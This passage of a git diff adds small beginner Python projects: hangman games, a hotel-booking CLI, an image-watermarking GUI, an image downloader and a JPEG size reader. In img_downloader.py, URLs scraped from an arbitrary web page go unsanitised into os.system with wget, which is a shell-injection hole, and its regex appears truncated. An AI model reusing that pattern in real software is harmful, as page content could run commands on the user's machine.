f"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Correct Answer: {name} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + print(incl.lose + "\a") + break + + try: + if int(input('To play the Game Again Press "1" & "0" to Quit: ')) != 1: + exit( + "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Thank You~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + except: + exit( + "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Thank You~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) diff --git a/Hangman.py b/Hangman.py new file mode 100644 index 00000000000..c49a64cc714 --- /dev/null +++ b/Hangman.py @@ -0,0 +1,95 @@ +# importing the time module +import time + +# importing the random module +import random + +# welcoming the user +name = input("What is your name? ") + +print("\nHello, " + name + "\nTime to play hangman!\n") + +# wait for 1 second +time.sleep(1) + +print("Start guessing...\nHint:It is a fruit") +time.sleep(0.5) + +someWords = """apple banana mango strawberry +orange grape pineapple apricot lemon coconut watermelon +cherry papaya berry peach lychee muskmelon""" + +someWords = someWords.split(" ") +# randomly choose a secret word from our "someWords" LIST. +word = random.choice(someWords) + +# creates an variable with an empty value +guesses = "" + +# determine the number of turns +turns = 5 + +# Create a while loop + +# check if the turns are more than zero +while turns > 0: + # make a counter that starts with zero + failed = 0 + + # for every character in secret_word + for char in word: + # see if the character is in the players guess + if char in guesses: + # print then out the character + print(char, end=" ") + + else: + # if not found, print a dash + print("_", end=" ") + + # and increase the failed counter with one + failed += 1 + + # if failed is equal to zero + + # print You Won + if failed == 0: + print("\nYou won") + + # exit the script + break + + print + + # ask the user go guess a character + guess = input("\nGuess a character:") + + # Validation of the guess + if not guess.isalpha(): + print("Enter only a LETTER") + continue + elif len(guess) > 1: + print("Enter only a SINGLE letter") + continue + elif guess in guesses: + print("You have already guessed that letter") + continue + + # set the players guess to guesses + guesses += guess + + # if the guess is not found in the secret word + if guess not in word: + # turns counter decreases with 1 (now 9) + turns -= 1 + + # print wrong + print("\nWrong") + + # how many turns are left + print("You have", +turns, "more guesses\n") + + # if the turns are equal to zero + if turns == 0: + # print "You Loose" + print("\nYou Loose") diff --git a/Hotel-Management.py b/Hotel-Management.py new file mode 100644 index 00000000000..d3a17178f02 --- /dev/null +++ b/Hotel-Management.py @@ -0,0 +1,324 @@ +def menu(): + options = { + 1: {"title": "Add new customer details", "method": lambda: add()}, + 2: { + "title": "Modify already existing customer details", + "method": lambda: modify(), + }, + 3: {"title": "Search customer details", "method": lambda: search()}, + 4: {"title": "View all customer details", "method": lambda: view()}, + 5: {"title": "Delete customer details", "method": lambda: remove()}, + 6: {"title": "Exit the program", "method": lambda: exit()}, + } + + print(f"\n\n{' ' * 25}Welcome to Hotel Database Management Software\n\n") + + for num, option in options.items(): + print(f"{num}: {option.get('title')}") + print() + + options.get(int(input("Enter your choice(1-6): "))).get("method")() + + +def add(): + Name1 = input("\nEnter your first name: \n") + Name2 = input("\nEnter your last name: \n") + Phone_Num = input("\nEnter your phone number(without +91): \n") + + print("These are the rooms that are currently available") + print("1-Normal (500/Day)") + print("2-Deluxe (1000/Day)") + print("3-Super Deluxe (1500/Day)") + print("4-Premium Deluxe (2000/Day)") + + Room_Type = int(input("\nWhich type you want(1-4): \n")) + + match Room_Type: + case 1: + x = 500 + Room_Type = "Normal" + case 2: + x = 1000 + Room_Type = "Deluxe" + case 3: + x = 1500 + Room_Type = "Super Deluxe" + case 4: + x = 2000 + Room_Type = "Premium" + + Days = int(input("How many days you will stay: ")) + Money = x * Days + Money = str(Money) + print("") + + print("You have to pay ", (Money)) + print("") + + Payment = input("Mode of payment(Card/Cash/Online): ").capitalize() + if Payment == "Card": + print("Payment with card") + elif Payment == "Cash": + print("Payment with cash") + elif Payment == "Online": + print("Online payment") + print("") + + with open("Management.txt", "r") as File: + string = File.read() + string = string.replace("'", '"') + dictionary = json.loads(string) + + if len(dictionary.get("Room")) == 0: + Room_num = "501" + else: + listt = dictionary.get("Room") + tempp = len(listt) - 1 + temppp = int(listt[tempp]) + Room_num = 1 + temppp + Room_num = str(Room_num) + + print("You have been assigned Room Number", Room_num) + print(f"name : {Name1} {Name2}") + print(f"phone number : +91{Phone_Num}") + print(f"Room type : {Room_Type}") + print(f"Stay (day) : {Days}") + + dictionary["First_Name"].append(Name1) + dictionary["Last_Name"].append(Name2) + dictionary["Phone_num"].append(Phone_Num) + dictionary["Room_Type"].append(Room_Type) + dictionary["Days"].append(Days) + dictionary["Price"].append(Money) + dictionary["Room"].append(Room_num) + + with open("Management.txt", "w", encoding="utf-8") as File: + File.write(str(dictionary)) + + print("\nYour data has been successfully added to our database.") + + exit_menu() + + +import os +import json + +filecheck = os.path.isfile("Management.txt") +if not filecheck: + with open("Management.txt", "a", encoding="utf-8") as File: + temp1 = { + "First_Name": [], + "Last_Name": [], + "Phone_num": [], + "Room_Type": [], + "Days": [], + "Price": [], + "Room": [], + } + File.write(str(temp1)) + + +def modify(): + with open("Management.txt", "r") as File: + string = File.read() + string = string.replace("'", '"') + dictionary = json.loads(string) + + dict_num = dictionary.get("Room") + dict_len = len(dict_num) + if dict_len == 0: + print("\nThere is no data in our database\n") + menu() + else: + Room = input("\nEnter your Room Number: ") + + listt = dictionary["Room"] + index = int(listt.index(Room)) + + print("\n1-Change your first name") + print("2-Change your last name") + print("3-Change your phone number") + + choice = int(input("\nEnter your choice: ")) + print() + + with open("Management.txt", "w", encoding="utf-8") as File: + match choice: + case 1: + category = "First_Name" + case 2: + category = "Last_Name" + case 3: + category = "Phone_num" + + user_input = input(f"Enter New {category.replace('_', ' ')}") + listt1 = dictionary[category] + listt1[index] = user_input + dictionary[category] = None + dictionary[category] = listt1 + + File.write(str(dictionary)) + + print("\nYour data has been successfully updated") + exit_menu() + + +def search(): + with open("Management.txt") as File: + dictionary = json.loads(File.read().replace("'", '"')) + + dict_num = dictionary.get("Room") + dict_len = len(dict_num) + + if dict_len == 0: + print("\nThere is no data in our database\n") + menu() + else: + Room = input("\nEnter your Room Number: ") + + listt_num = dictionary.get("Room") + index = int(listt_num.index(Room)) + + listt_fname = dictionary.get("First_Name") + listt_lname = dictionary.get("Last_Name") + listt_phone = dictionary.get("Phone_num") + listt_type = dictionary.get("Room_Type") + listt_days = dictionary.get("Days") + listt_price = dictionary.get("Price") + + print(f"\nFirst Name: {listt_fname[index]}") + print(f"Last Name: {listt_lname[index]}") + print(f"Phone number: {listt_phone[index]}") + print(f"Room Type: {listt_type[index]}") + print(f"Days staying: {listt_days[index]}") + print(f"Money paid: {listt_price[index]}") + print(f"Room Number: {listt_num[index]}") + + exit_menu() + + +def remove(): + with open("Management.txt") as File: + dictionary = json.loads(File.read().replace("'", '"')) + + dict_num = dictionary.get("Room") + dict_len = len(dict_num) + if dict_len == 0: + print("\nThere is no data in our database\n") + menu() + else: + Room = input("\nEnter your Room Number: ") + + listt = dictionary["Room"] + index = int(listt.index(Room)) + + listt_fname = dictionary.get("First_Name") + listt_lname = dictionary.get("Last_Name") + listt_phone = dictionary.get("Phone_num") + listt_type = dictionary.get("Room_Type") + listt_days = dictionary.get("Days") + listt_price = dictionary.get("Price") + listt_num = dictionary.get("Room") + + del listt_fname[index] + del listt_lname[index] + del listt_phone[index] + del listt_type[index] + del listt_days[index] + del listt_price[index] + del listt_num[index] + + dictionary["First_Name"] = None + dictionary["First_Name"] = listt_fname + + dictionary["Last_Name"] = None + dictionary["Last_Name"] = listt_lname + + dictionary["Phone_num"] = None + dictionary["Phone_num"] = listt_phone + + dictionary["Room_Type"] = None + dictionary["Room_Type"] = listt_type + + dictionary["Days"] = None + dictionary["Days"] = listt_days + + dictionary["Price"] = None + dictionary["Price"] = listt_price + + dictionary["Room"] = None + dictionary["Room"] = listt_num + + with open("Management.txt", "w", encoding="utf-8") as file1: + file1.write(str(dictionary)) + + print("Details has been removed successfully") + + exit_menu() + + +def view(): + with open("Management.txt") as File: + dictionary = json.loads(File.read().replace("'", '"')) + + dict_num = dictionary.get("Room") + dict_len = len(dict_num) + if dict_len == 0: + print("\nThere is no data in our database\n") + menu() + + else: + listt = dictionary["Room"] + a = len(listt) + + index = 0 + while index != a: + listt_fname = dictionary.get("First_Name") + listt_lname = dictionary.get("Last_Name") + listt_phone = dictionary.get("Phone_num") + listt_type = dictionary.get("Room_Type") + listt_days = dictionary.get("Days") + listt_price = dictionary.get("Price") + listt_num = dictionary.get("Room") + + print("") + print("First Name:", listt_fname[index]) + print("Last Name:", listt_lname[index]) + print("Phone number:", listt_phone[index]) + print("Room Type:", listt_type[index]) + print("Days staying:", listt_days[index]) + print("Money paid:", listt_price[index]) + print("Room Number:", listt_num[index]) + print("") + + index = index + 1 + + exit_menu() + + +def exit(): + print("") + print(" Thanks for visiting") + print(" Goodbye") + + +def exit_menu(): + print("") + print("Do you want to exit the program or return to main menu") + print("1-Main Menu") + print("2-Exit") + print("") + + user_input = int(input("Enter your choice: ")) + if user_input == 2: + exit() + elif user_input == 1: + menu() + + +try: + menu() +except KeyboardInterrupt: + print("\nexiting...!") + +# menu() diff --git a/Image-watermarker/README.md b/Image-watermarker/README.md new file mode 100644 index 00000000000..55755407495 --- /dev/null +++ b/Image-watermarker/README.md @@ -0,0 +1,98 @@ +# Watermarking Application + +A Python-based watermarking application built using `CustomTkinter` and `PIL` that allows users to add text and logo watermarks to images. The application supports the customization of text, font, size, color, and the ability to drag and position the watermark on the image. + +## Features + +- **Text Watermark**: Add customizable text to your images. + - Select font style, size, and color. + - Drag and position the text watermark on the image. +- **Logo Watermark**: Add a logo or image as a watermark. + - Resize and position the logo watermark. + - Supports various image formats (JPG, PNG, BMP). +- **Mutual Exclusivity**: The application ensures that users can either add text or a logo as a watermark, not both simultaneously. +- **Image Saving**: Save the watermarked image in PNG format with an option to choose the file name and location. + +## Installation + +### Prerequisites + +- Python 3.6 or higher +- `PIL` (Pillow) +- `CustomTkinter` + +### Installation Steps + +1. **Clone the repository:** + + ```bash + git clone https://github.com/jinku-06/Image-Watermarking-Desktop-app.git + cd watermarking-app + ``` + +2. **Install the required packages:** + + ```bash + pip install -r requirements.txt + ``` + +3. **Run the application:** + + ```bash + python app.py + ``` + +## Usage + +1. **Load an Image**: Start by loading an image onto the canvas. +2. **Add Text Watermark**: + - Input your desired text. + - Customize the font style, size, and color. + - Drag and position the text on the image. + - Note: Adding a text watermark disables the option to add a logo. +3. **Add Logo Watermark**: + - Select and upload a logo or image to use as a watermark. + - Resize and position the logo on the image. + - Note: Adding a logo watermark disables the option to add text. +4. **Save the Image**: Once satisfied with the watermark, save the image to your desired location. + +## Project Structure + +```bash +watermarking-app/ +│ +├── fonts/ # Custom fonts directory +├── app.py # Main application file +├── watermark.py # Watermark functionality class +├── requirements.txt # Required Python packages +└── README.md # Project documentation +``` + +## Sample and look + +Below are some sample images showcasing the application work: + +UI: + +Userinterface image + +Text Watermark : + +text watermark demo image + +Logo Watermark: + +logo watermark demo image + + + + + + + + + + + + + diff --git a/Image-watermarker/app.py b/Image-watermarker/app.py new file mode 100644 index 00000000000..6d0d2bce3c1 --- /dev/null +++ b/Image-watermarker/app.py @@ -0,0 +1,332 @@ +import customtkinter as ctk +from customtkinter import filedialog +from CTkMessagebox import CTkMessagebox +from PIL import Image, ImageTk +from watermark import Watermark +import pyglet +from tkinter import colorchooser + + +# ------------------- Create Window ----------------- +pyglet.font.add_directory("fonts") + + +window = ctk.CTk() +window.geometry("810x525") +window.title("Grenze") + +text_label = None +loaded_image = False +logo = None +img = None +user_text = None +logo_path = None +color_code = "white" +font_values = ["Decorative", "MartianMono", "DancingScript", "AkayaKanadaka"] + + +# -------------------------- LOAD IMAGE AND CHECK FILE TYPE ON IMAGE CANVAS (use Frame) -------------- +def load_image(): + global img, loaded_image, image_canvas + + file_path = filedialog.askopenfilename( + filetypes=[("Image files", "*.jpg *.jpeg *.png *.bmp")] + ) + if not file_path: + return + + img = Image.open(file_path) + max_width, max_height = 800, 600 + if img.width > max_width or img.height > max_height: + ratio = min(max_width / img.width, max_height / img.height) + resize_img = img.resize( + (int(img.width * ratio), int(img.height * ratio)), Image.Resampling.LANCZOS + ) + loaded_image = ImageTk.PhotoImage(resize_img) + + window.geometry(f"{resize_img.width + 300 + 30}x{resize_img.height + 50}") + image_canvas.config(width=resize_img.width, height=resize_img.height) + image_canvas.grid(row=0, column=1, padx=20, pady=20, columnspan=2) + image_canvas.create_image(0, 0, anchor="nw", image=loaded_image) + else: + loaded_image = ImageTk.PhotoImage(img) + window.geometry(f"{img.width + 300}x{img.height + 50}") + image_canvas.config(width=img.width, height=img.height) + image_canvas.grid(row=0, column=1, padx=20, pady=20, columnspan=2) + image_canvas.create_image(0, 0, anchor="nw", image=loaded_image) + + +# ------------------------------------- DRAG AND DROP FEATURE -------- + +start_x = 0 +start_y = 0 + +new_x = 0 +new_y = 0 + + +def move_logo(e): + global logo, new_x, new_y + canvas_width = image_canvas.winfo_width() + canvas_height = image_canvas.winfo_height() + label_width = image_canvas.bbox(logo)[2] - image_canvas.bbox(logo)[0] + label_height = image_canvas.bbox(logo)[3] - image_canvas.bbox(logo)[1] + + new_x = e.x + new_y = e.y + + if new_x < 0: + new_x = 0 + elif new_x + label_width > canvas_width: + new_x = canvas_width - label_width + + if new_y < 0: + new_y = 0 + elif new_y + label_height > canvas_height: + new_y = canvas_height - label_height + image_canvas.coords(logo, new_x, new_y) + + +def move_text(e): + global text_label, new_x, new_y + canvas_width = image_canvas.winfo_width() + canvas_height = image_canvas.winfo_height() + label_width = image_canvas.bbox(text_label)[2] - image_canvas.bbox(text_label)[0] + label_height = image_canvas.bbox(text_label)[3] - image_canvas.bbox(text_label)[1] + + new_x = e.x + new_y = e.y + + if new_x < 0: + new_x = 0 + elif new_x + label_width > canvas_width: + new_x = canvas_width - label_width + + if new_y < 0: + new_y = 0 + elif new_y + label_height > canvas_height: + new_y = canvas_height - label_height + image_canvas.coords(text_label, new_x, new_y) + + +def choose_color(): + global color_code + choose_color = colorchooser.askcolor(title="Choose Color") + color_code = choose_color[1] + + +# ----------------- ADD TEXT ON CANVAS----------------- + + +def add_text_on_canvas(): + global text_label, loaded_image, user_text, img, font_values + user_text = text.get() + font_key = font_style.get() + if font_key not in font_values: + CTkMessagebox( + title="Font Not Available", + message=f"{font_key} FileNotFoundError.", + ) + return + + if logo is not None: + CTkMessagebox(title="Logo Use", message="Logo is in use.") + return + + if text_label is not None: + image_canvas.delete(text_label) # Delete previous text_label + + if loaded_image: + if user_text: + selected_size = int(font_size.get()) + pyglet.font.add_file(f"fonts/{font_key}.ttf") + text_label = image_canvas.create_text( + 10, + 10, + text=user_text, + font=(font_key, selected_size), + fill=color_code, + anchor="nw", + ) + + image_canvas.tag_bind(text_label, "", move_text) + else: + CTkMessagebox(title="Error", message="Text Filed Empty.", icon="cancel") + else: + CTkMessagebox(title="Error", message="Image Not Found. Upload Image.") + + +# ----------------------TODO UPLOAD LOGO ----------- + + +def upload_logo(): + global loaded_image, logo, logo_path, text_label + + if text_label is not None: + CTkMessagebox( + title="Text In Use", message="You are using text. Can't use logo." + ) + return + + if logo is not None: + image_canvas.delete(logo) + if loaded_image: + logo_path = filedialog.askopenfilename( + filetypes=[("Image files", "*.jpg *.jpeg *.png *.bmp")], + ) + if logo_path: + logo_image = Image.open(logo_path).convert("RGBA") + resize = logo_image.resize((160, 150)) + logo_photo = ImageTk.PhotoImage(resize) + logo = image_canvas.create_image(0, 0, anchor="nw", image=logo_photo) + image_canvas.tag_bind(logo, "", move_logo) + + image_canvas.logo_photo = logo_photo + + else: + CTkMessagebox( + title="Image Field Empty", + message="Image field empty. Click on the open image button to add the image to the canvas.", + icon="cancel", + ) + + +# ---------------------------- TODO SAVE FUNCTION --------------- +watermark = Watermark() + + +def save_image(): + global text_label, loaded_image, file_path, user_text, img, new_x, new_y, logo + if loaded_image and text_label: + width, height = img.size + canvas_width = image_canvas.winfo_width() + canvas_height = image_canvas.winfo_height() + + scale_x = width / canvas_width + scale_y = height / canvas_height + + image_x = int(new_x * scale_x) - 10 + image_y = int(new_y * scale_y) - 10 + + adjusted_font_size = int(int(font_size.get()) * min(scale_x, scale_y)) + 6 + watermarked_image = watermark.add_text_watermark( + image=img, + text=user_text, + position=(image_x, image_y), + text_color=color_code, + font_style=f"fonts/{font_style.get()}.ttf", + font_size=adjusted_font_size, + ) + + watermark.save_image(watermarked_image) + + elif loaded_image and logo_path is not None: + original_image = img.convert("RGBA") + canvas_width = image_canvas.winfo_width() + canvas_height = image_canvas.winfo_height() + + logo_image = Image.open(logo_path) + logo_resized = logo_image.resize( + ( + int(original_image.width * 0.2) + 50, + int(original_image.height * 0.2), + ) + ) + + image_width, image_height = original_image.size + logo_position = ( + int(new_x * image_width / canvas_width), + int(new_y * image_height / canvas_height), + ) + + watermark.add_logo( + image=original_image, logo=logo_resized, position=logo_position + ) + + watermark.save_image(original_image) + + +# -------------------Tab View AND OPEN IMAGE----------- + +tabview = ctk.CTkTabview(window, corner_radius=10, height=400) +tabview.grid(row=0, column=0, padx=10) + + +tab_1 = tabview.add("Text Watermark") +tab_2 = tabview.add("Logo Watermark") + + +# --------------- TEXT WATERMARK TAB_1 VIEW ---------- +tab_1.grid_columnconfigure(0, weight=1) +tab_1.grid_columnconfigure(1, weight=1) + +text = ctk.CTkEntry(master=tab_1, placeholder_text="Entry Text", width=200) +text.grid(row=2, column=0, padx=20, pady=10) + + +font_style = ctk.CTkComboBox( + master=tab_1, + values=font_values, + width=200, +) +font_style.grid(row=3, column=0, pady=10) + + +font_size = ctk.CTkComboBox( + master=tab_1, + values=[ + "10", + "12", + "14", + "20", + ], + width=200, +) +font_size.grid(row=4, column=0, pady=10) +font_size.set("10") + +add_text = ctk.CTkButton( + master=tab_1, text="Add Text", width=200, command=add_text_on_canvas +) +add_text.grid(row=5, column=0, pady=10) + + +open_image = ctk.CTkButton( + master=tab_1, text="Open Image", width=200, corner_radius=10, command=load_image +) +open_image.grid(row=7, column=0, pady=10) + +open_image2 = ctk.CTkButton( + master=tab_2, text="Open Image", width=200, corner_radius=10, command=load_image +) +open_image2.grid(row=2, column=0, padx=20, pady=10) + +pick_color = ctk.CTkButton( + master=tab_1, text="Pick Color", width=200, corner_radius=10, command=choose_color +) +pick_color.grid(row=6, column=0, padx=10, pady=10) + + +# ------------- LOGO WATERMARK SESSION TAB_2 --------------- + +logo_upload = ctk.CTkButton( + master=tab_2, text="Upload Logo", width=200, corner_radius=10, command=upload_logo +) +logo_upload.grid(row=3, column=0, pady=10) + + +# ----------------- ImageFrame --------------------- +image_canvas = ctk.CTkCanvas( + width=500, + height=360, +) +image_canvas.config(bg="gray24", highlightthickness=0, borderwidth=0) +image_canvas.grid(row=0, column=1, columnspan=2) + + +# -------- SAVE BUTTON -------- + +save_image_button = ctk.CTkButton(window, text="Save Image", command=save_image) +save_image_button.grid(pady=10) + +window.mainloop() diff --git a/Image-watermarker/fonts/AkayaKanadaka.ttf b/Image-watermarker/fonts/AkayaKanadaka.ttf new file mode 100644 index 00000000000..01eefcc02fb Binary files /dev/null and b/Image-watermarker/fonts/AkayaKanadaka.ttf differ diff --git a/Image-watermarker/fonts/DancingScript.ttf b/Image-watermarker/fonts/DancingScript.ttf new file mode 100644 index 00000000000..af175f99b06 Binary files /dev/null and b/Image-watermarker/fonts/DancingScript.ttf differ diff --git a/Image-watermarker/fonts/Decorative.ttf b/Image-watermarker/fonts/Decorative.ttf new file mode 100644 index 00000000000..ad6bd2c59fc Binary files /dev/null and b/Image-watermarker/fonts/Decorative.ttf differ diff --git a/Image-watermarker/fonts/MartianMono.ttf b/Image-watermarker/fonts/MartianMono.ttf new file mode 100644 index 00000000000..843b2903d7b Binary files /dev/null and b/Image-watermarker/fonts/MartianMono.ttf differ diff --git a/Image-watermarker/requirements.txt b/Image-watermarker/requirements.txt new file mode 100644 index 00000000000..f6fcb76c983 Binary files /dev/null and b/Image-watermarker/requirements.txt differ diff --git a/Image-watermarker/watermark.py b/Image-watermarker/watermark.py new file mode 100644 index 00000000000..dd3a11c79fc --- /dev/null +++ b/Image-watermarker/watermark.py @@ -0,0 +1,45 @@ +from PIL import ImageDraw, ImageFont +from customtkinter import filedialog +from CTkMessagebox import CTkMessagebox + + +class Watermark: + def __init__(self): + pass + + def add_text_watermark( + self, image, text, text_color, font_style, font_size, position=(0, 0) + ): + font = ImageFont.truetype(font_style, font_size) + draw = ImageDraw.Draw(image) + draw.text(position, text, fill=text_color, font=font) + return image + + def add_logo(self, image, logo, position=(0, 0)): + if logo.mode != "RGBA": + logo = logo.convert("RGBA") + if image.mode != "RGBA": + image = image.convert("RGBA") + + if (position[0] + logo.width > image.width) or ( + position[1] + logo.height > image.height + ): + CTkMessagebox(title="Logo position", message="Logo position out of bounds.") + + image.paste(logo, position, mask=logo) + return image + + def save_image(self, image): + save_path = filedialog.asksaveasfilename( + defaultextension="*.png", + title="Save as", + filetypes=[ + ("PNG files", "*.png"), + ("All files", "*.*"), + ], + ) + if save_path: + try: + image.save(save_path) + except Exception: + print("Failed to save image: {e}") diff --git a/ImageDownloader/img_downloader.py b/ImageDownloader/img_downloader.py new file mode 100644 index 00000000000..7ee1bc34c09 --- /dev/null +++ b/ImageDownloader/img_downloader.py @@ -0,0 +1,26 @@ +# ImageDownloader - Muhammed Shokr its amazing + + +def ImageDownloader(url): + import os + import re + import requests + + response = requests.get(url) + text = response.text + + p = r']+>' + img_addrs = re.findall(p, text) + + for i in img_addrs: + os.system("wget {}".format(i)) + + return "DONE" + + +# USAGE +print("Hey!! Welcome to the Image downloader...") +link = input("Please enter the url from where you want to download the image..") +# now you can give the input at run time and get download the images. +# https://www.123rf.com/stock-photo/spring_color.html?oriSearch=spring&ch=spring&sti=oazo8ueuz074cdpc48 +ImageDownloader(link) diff --git a/ImageDownloader/requirements.txt b/ImageDownloader/requirements.txt new file mode 100644 index 00000000000..727711cf16b --- /dev/null +++ b/ImageDownloader/requirements.txt @@ -0,0 +1 @@ +requests==2.32.5 diff --git a/Image_resize.py b/Image_resize.py new file mode 100644 index 00000000000..6bc312b245d --- /dev/null +++ b/Image_resize.py @@ -0,0 +1,24 @@ +def jpeg_res(filename): + """ "This function prints the resolution of the jpeg image file passed into it""" + + # open image for reading in binary mode + with open(filename, "rb") as img_file: + # height of image (in 2 bytes) is at 164th position + img_file.seek(163) + + # read the 2 bytes + a = img_file.read(2) + + # calculate height + height = (a[0] << 8) + a[1] + + # next 2 bytes is width + a = img_file.read(2) + + # calculate width + width = (a[0] << 8) + a[1] + + print("The resolution of the image is", width, "x", height) + + +jpeg_res("img1.jpg") diff --git a/Industrial_developed_hangman/Data/local_words.txt b/Industrial_developed_hangman/Data/local_words.txt new file mode 100644 index 00000000000..ba958fe23e4 --- /dev/null +++ b/Industrial_developed_hangman/Data/local_words.txt @@ -0,0 +1,200 @@ +jam +veteran +environmental +sound +make +first-hand +disposition +handy +dance +expression +take +professor +swipe +publisher +tube +thread +paradox +bold +feeling +seal +medicine +ancestor +designer +sustain +define +stomach +minister +coffee +disorder +cow +clash +sector +discount +anger +nationalist +cater +mole +speculate +far +retirement +rub +sample +contribution +distance +palace +holiday +native +debut +steak +tired +pump +mayor +develop +cool +economics +prospect +regular +suntan +husband +praise +rule +soprano +secular +interactive +barrel +permanent +childish +ministry +rank +ball +difficult +linger +comfortable +education +grief +check +user +fish +catch +aquarium +photograph +aisle +justice +preoccupation +liberal +diagram +disturbance +separation +concentration +tidy +appointment +fling +exception +gutter +nature +relieve +illustrate +bathtub +cord +bus +divorce +country +mountain +slump +acquit +inn +achieve +bloodshed +bundle +spell +petty +closed +mud +begin +robot +chorus +prison +lend +bomb +exploration +wrist +fist +agency +example +factory +disagreement +assault +absolute +consider +sign +raw +flood +definition +implication +judge +extraterrestrial +corn +breakfast +shelter +buffet +seize +credit +hardship +growth +velvet +application +cheese +secretion +loop +smile +withdrawal +execute +daughter +quota +deny +defeat +knee +brain +packet +ignorance +core +stumble +glide +reign +huge +position +alive +we +gate +replacement +mourning +incapable +reach +rehearsal +profile +fax +sit +compete +smart +gradient +tough +house +pocket +spider +ditch +critical +ignorant +policy +experience +exhibition +forum +contribution +wrestle +cave +bet +stool +store +formal +basketball +journal diff --git a/Industrial_developed_hangman/Data/text_images.txt b/Industrial_developed_hangman/Data/text_images.txt new file mode 100644 index 00000000000..06338355b18 --- /dev/null +++ b/Industrial_developed_hangman/Data/text_images.txt @@ -0,0 +1,16 @@ +╔══╗─╔╗╔╗╔══╗╔═══╗─╔══╗╔╗╔╗╔╗╔╗╔══╗ +║╔╗║─║║║║║╔═╝║╔══╝─║╔╗║║║║║║║║║║╔╗║ +║╚╝╚╗║║║║║║──║╚══╗─║║║║║║║║║║║║║╚╝║ +║╔═╗║║║╔║║║──║╔══╝─║║║║║║╔║║║║║║╔╗║ +║╚═╝║║╚╝║║╚═╗║╚══╗╔╝║║║║╚╝║║╚╝║║║║║ +╚═══╝╚══╝╚══╝╚═══╝╚═╝╚╝╚══╝╚══╗╚╝╚╝ + ⡖⠒⢒⣶⠖⠒⠒⠒⡖⠒⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⡇⣠⠟⠁⠀⠀⠀⡖⠓⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⡿⠉⠀⠀⠀⠀⠀⢹⣞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⡇⠀⠀⠀⠀⠀⣠⠻⡟⢧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ +⠀ ⡇⠀⠀⠀⠀⠐⠃⢨⡧⠀⠳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ +⠀⠀ ⡇⠀⠀⠀⠀⠀⠀⠠⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ +⠀⠀ ⡇⠀⠀⠀⠀⠀⠀⢨⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ +⠀⠀ ⡇⠀⠀⠀⠀⠀⠀⠆⠘⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ +⠀⠀ ⡇⠀⠀⠀⠀⠀⠈⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ +⠀⠀ ⠧⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤ diff --git a/Industrial_developed_hangman/Makefile b/Industrial_developed_hangman/Makefile new file mode 100644 index 00000000000..e4e05f18fb2 --- /dev/null +++ b/Industrial_developed_hangman/Makefile @@ -0,0 +1,14 @@ +lint: + poetry run isort src tests + poetry run flake8 src tests + poetry run mypy src + poetry run mypy tests + +test: + poetry run pytest + +build: + python src/hangman/main.py +install: + pip install poetry + poetry install \ No newline at end of file diff --git a/Industrial_developed_hangman/README.md b/Industrial_developed_hangman/README.md new file mode 100644 index 00000000000..71fb5bd5724 --- /dev/null +++ b/Industrial_developed_hangman/README.md @@ -0,0 +1,12 @@ +This is a simple game hangman + +to install dependencies got to repository "Industrial_developed_hangman" by `cd .\Industrial_developed_hangman\` and run `make install` + +to start it use `make build` command + +example of programm run: + + +![img.png](recorces/img.png) + +also makefile have lint command to lint source code \ No newline at end of file diff --git a/Industrial_developed_hangman/poetry.lock b/Industrial_developed_hangman/poetry.lock new file mode 100644 index 00000000000..99bcf936a62 --- /dev/null +++ b/Industrial_developed_hangman/poetry.lock @@ -0,0 +1,1235 @@ +# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand. + +[[package]] +name = "astor" +version = "0.8.1" +description = "Read/rewrite/write Python ASTs" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7" +files = [ + {file = "astor-0.8.1-py2.py3-none-any.whl", hash = "sha256:070a54e890cefb5b3739d19f30f5a5ec840ffc9c50ffa7d23cc9fc1a38ebbfc5"}, + {file = "astor-0.8.1.tar.gz", hash = "sha256:6a6effda93f4e1ce9f618779b2dd1d9d84f1e32812c23a29b3fff6fd7f63fa5e"}, +] + +[[package]] +name = "attrs" +version = "23.1.0" +description = "Classes Without Boilerplate" +optional = false +python-versions = ">=3.7" +files = [ + {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"}, + {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"}, +] + +[package.extras] +cov = ["attrs[tests]", "coverage[toml] (>=5.3)"] +dev = ["attrs[docs,tests]", "pre-commit"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"] +tests = ["attrs[tests-no-zope]", "zope-interface"] +tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] + +[[package]] +name = "bandit" +version = "1.7.5" +description = "Security oriented static analyser for python code." +optional = false +python-versions = ">=3.7" +files = [ + {file = "bandit-1.7.5-py3-none-any.whl", hash = "sha256:75665181dc1e0096369112541a056c59d1c5f66f9bb74a8d686c3c362b83f549"}, + {file = "bandit-1.7.5.tar.gz", hash = 